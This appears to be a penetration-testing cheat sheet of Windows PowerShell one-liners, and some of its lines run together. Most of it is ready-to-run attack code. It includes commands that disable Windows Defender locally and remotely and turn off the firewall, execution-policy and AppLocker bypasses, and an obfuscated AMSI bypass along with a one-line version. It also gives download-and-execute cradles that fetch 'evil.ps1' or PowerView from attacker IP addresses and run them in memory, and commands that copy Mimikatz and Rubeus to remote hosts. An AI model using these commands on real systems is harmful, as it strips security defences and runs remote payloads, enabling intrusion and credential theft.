Common PowerShell commands and one-liners used during Windows penetration tests.
Here are some useful PowerShell commands that can help you in your penetration tests.
PowerShell Help
You may need to run Update-Help in PowerShell for the Get-Help command to work.
Get-Help Get-Item -Full # Lists help about the Get-Item cmdletGet-Help Get-Item -Examples # Gives examples of Get-Item usageView current logged-in users’ privileges
whoami /privCheck the name of the logged-in user
[System.Security.Principal.WindowsIdentity]::GetCurrent().NameList all cmdlets
Get-Command -CommandType CmdletBypass Execution Policy
powershell -ExecutionPolicy bypasspowershell -c <cmd>powershell -encodedcommand$env:PSExecutionPolicyPreference="bypass"Import Modules
Import-Module <modulepath>Get-Command -Module <modulename> # lists all commands in a moduleList all functions
ls function:Search for files
gci -Recurse -File example.txtgci -Recurse -File *.txtCheck language mode (Either see full or constrained)
$ExecutionContext.SessionState.LanguageModeInvoke-Command -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} -ComputerName adminsrv # List language mode on remote PCDisable Windows Defender Real-Time Monitoring
Set-MpPreference -DisableRealtimeMonitoring $true # Must be adminSet-MpPreference -DisableIOAVProtection $true # Must be adminDisable Windows Defender on a remote system
$sess = New-PSSession -ComputerName computer.local$sessInvoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sessDisable Windows Firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False # Must be adminView the list of cached keys on the machine
klistklist purge # Delete cached keysSave output to file
Out-File -FilePath C:\test.txtTee-Object -file C:\test.txt # This displays the output on console and saves to file (like Tee on Linux)If PowerShell.exe is blocked, .NET code can use System.Management.Automation NameSpace to load PowerShell functionality
https://github.com/api0cradle/UltimateAppLockerByPassList
https://github.com/api0cradle/LOLBAS
C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild.exe pshell.xmlRun a program as a user (If you have credentials)
runas /netonly /User:ServiceAccount "powershell.exe"Enter the password for ServiceAccountAMSI Bypass
AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Automation.AmsiUtils to true
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )One line AMSI bypass from Matt Graeber
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Download and execute script in memory
iex (iwr http://172.1.1.1/PowerView.ps1)iex (iwr http://172.1.1.1/PowerView.ps1 -UseBasicParsing) # If you get Internet Explorer errorsDownload execute cradles
iex (New-Object Net.WebClient) .DownloadString('https://webserver/payload/ps1')$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.1.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $responsePSv3 onwards
iex (iwr 'http://192.1.1.1/evil.ps1')$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.1.1/evil.ps1',$false);$h.send();iex $h.response.Text$wr = [System.NET.WebRequest]::Create("http://192.168.1.1/evil.ps1")$r = $wr.GetResponse()IEX([System.IO.StreamREader]($r.GetResponseStream())).ReadToEnd()Check AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsCopy files to the remote machine
Copy-Item .\Invoke-MimikatzEx.ps1 \\computer.local\c$\'Program Files'Copy file to remote machine over PSSession
Copy-Item -ToSession $appsrvSess -Path .\Rubeus.exe -Destination c:\Users\appadmin\DownloadsGrep equivalent for PowerShell
type .\Valid.txt | Select-String -SimpleMatch "Valid"Get the IP addresses of Hyper-V machines running
Get-VM -Name "VMName" | Select-Object -ExpandProperty NetworkAdapters | Select-Object VMName, IPAddressesGet-VM | ? {$_.State -eq "Running"} | select -ExpandProperty networkadapters | select vmname, macaddress, switchname, ipaddresses | ft -wrap -autosize



